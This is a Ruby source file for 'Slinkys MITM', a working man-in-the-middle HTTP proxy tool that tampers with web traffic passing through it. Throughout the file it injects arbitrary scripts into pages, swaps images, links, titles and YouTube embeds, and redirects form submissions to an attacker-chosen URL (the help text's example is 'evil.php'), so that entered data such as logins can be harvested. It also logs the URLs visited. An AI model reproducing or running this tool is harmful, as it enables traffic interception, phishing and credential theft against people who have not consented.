require 'webrick/httpproxy'
require "optparse"
require "uri"

class MITM
	def initialize(script,image,youtube_id,replace_tit,replace_ink,replace_form,log,port)
		@script = script
		@image = image
		@youtube_id = youtube_id
		@replace_tit = replace_tit
		@replace_ink = replace_ink
		@replace_ink[:url] = replace_ink[:url].to_s[0,7] == "http://" ? replace_ink[:url] : "http://".concat(replace_ink[:url]) if replace_ink[:action] == true
		@replace_form = replace_form
		@replace_form[:url] = replace_form[:url].to_s[0,7] == "http://" ? replace_form[:url] : "http://".concat(replace_form[:url]) if replace_form[:action] == true
		@log = log
		@port = port
	end

	def script_injection
		str = String.new
		if @script[:action] == true
			IO.foreach(@script[:src]) do |i|
				str += i
			end
			str
		else 
			nil
		end
	end

	def replace_img(source)
		if source.index("<img src=") != nil
			source.gsub("<img src=","<img src='#{@image[:src]}' old=")
		else
			source
		end
	end

	def youtube_replace(body)
		if body.index("youtube.com/embed/") != nil
			pos = body.index("youtube.com/embed/") + 18
			body[pos,11] = URI(@youtube_id[:id]).query.gsub("v=","")
			body
		else
			body
		end
		
	end

	def replace_title(dati)
		x = "<title>"
		y = "</title>"
		if dati.index(x) != nil and dati.index(y) != nil
			dati[dati.index(x)...dati.index(y)] = "#{x} #{@replace_tit[:title]}"
			dati
		else
			dati
		end
	end

	def replace_link(source)
		if source.index("<a href=") != nil
			source.gsub("<a href=","<a href='#{@replace_ink[:url]}' old=")
		else
			source
		end
	end

	def replace_action_form(src)
		if src.index("<form") != nil and src.index("method=") != nil and src.index("action=") != nil
			src = src.gsub('method=','method="post" oldmethod=').gsub('action=','action="'+ "#{@replace_form[:url]}" +'" oldaction=')
			src
		else
			src
		end
	end

	def write_log(data,url)
		begin
			file = File.new(@log[:src],"a")
			file.puts "#{data}\t#{url}" if url != nil and data != nil
		ensure
			file.close
		end
	end

	def inject(req,res)
		res.body << script_injection() if @script[:action] == true
		res.body = replace_img(res.body) if @image[:action] == true 
		res.body = youtube_replace(res.body) if @youtube_id[:action] == true
		res.body = replace_title(res.body) if @replace_tit[:action] == true
		res.body = replace_link(res.body) if @replace_ink[:action] == true
		res.body = replace_action_form(res.body) if @replace_form[:action] == true
		write_log(res.header["date"],req.unparsed_uri) if @log[:action] == true
	end

	def run
		puts "Slinkys MITM Is Started !\n(Press Ctrl+C to Stop)"
		proxy = WEBrick::HTTPProxyServer.new Port: "#{@port}", ProxyContentHandler: method(:inject), AccessLog: [],Logger: WEBrick::Log.new(false)
		trap 'INT'  do proxy.shutdown end
		trap 'TERM' do proxy.shutdown end
		proxy.start
	end

	private :script_injection,:write_log,:replace_img,:youtube_replace,:replace_title,:replace_link,:inject,:replace_action_form
end

begin
	options = {}
	OptionParser.new do |opt|
		opt.banner = "Usage:Slinkys <Options> <Command>\n"

		opt.on("-a","--attribute ","Replace all Link on page| -a <URL>") do |i|
			options[:replace_link] = i
		end

		opt.on("-f","--form " ,"Replace form action | -f <url/evil.php>") do |i|
			options[:replace_action_form] = i
		end

		opt.on("-i","--image ","Image replace | -i <URL Image>") do |i|
			options[:image] = i
		end

		opt.on("-l","--log ","Create File Log | -l log.txt") do |i|
			options[:log] = i
		end

		opt.on("-p","--port ","Port on listan | -p 8000 (default is 8080)") do |i|
			options[:port] = i
		end

		opt.on("-s", "--script ","Injection Script | -s script.js") do |i|
			options[:script] = i
		end	

		opt.on("-t","--title ","Change Title Page | -t 'You Text'") do |i|
			options[:replace_title] = i
		end

		opt.on("-y","--youtube ","Replace youtube video | -y <YouTube Link>") do |i|
			options[:youtube_id] = i
		end
	end.parse!
rescue OptionParser::MissingArgument => e
	puts e
	exit
end

script_injection = {:action => false,:src => options[:script]} 
image_replace = {:action => false,:src => options[:image]}
youtube_video_replace = {:action => false,:id => options[:youtube_id]}
replace_title = {:action => false, :title => options[:replace_title]}
replace_link = {:action => false, :url => options[:replace_link]}
replace_form = {:action => false, :url => options[:replace_action_form]}
log = {:action => false,:src => options[:log]}

script_injection[:action] = true if options[:script] != nil and File.exists? options[:script]
image_replace[:action] = true if options[:image] != nil
youtube_video_replace[:action] = true if options[:youtube_id] != nil and URI(options[:youtube_id]).query.index("v=") != nil # UPDATE 
replace_title[:action] = true if options[:replace_title] != nil
replace_link[:action] = true if options[:replace_link] != nil 
replace_form[:action] = true if options[:replace_action_form] != nil
log[:action] = true if options[:log] != nil
if options[:port] != nil and options[:port].size == 4 and options[:port].to_i != 0 then port = options[:port].to_i else port = 8080 end

print "\nScript Injection:\t\t#{script_injection[:action]}
Image Replace:\t\t\t#{image_replace[:action]}
YouTube Video Replace:\t\t#{youtube_video_replace[:action]}
Title Url Replace:\t\t#{replace_title[:action]}
All Link Replace:\t\t#{replace_link[:action]}
Form Action Replace:\t\t#{replace_form[:action]}
Print Log Connection:\t\t#{log[:action]}
Port:\t\t\t\t#{port}\n\n".gsub("true","Enabled").gsub("false","Disabled")

MITM.new(script_injection,image_replace,youtube_video_replace,replace_title,replace_link,replace_form,log,port).run




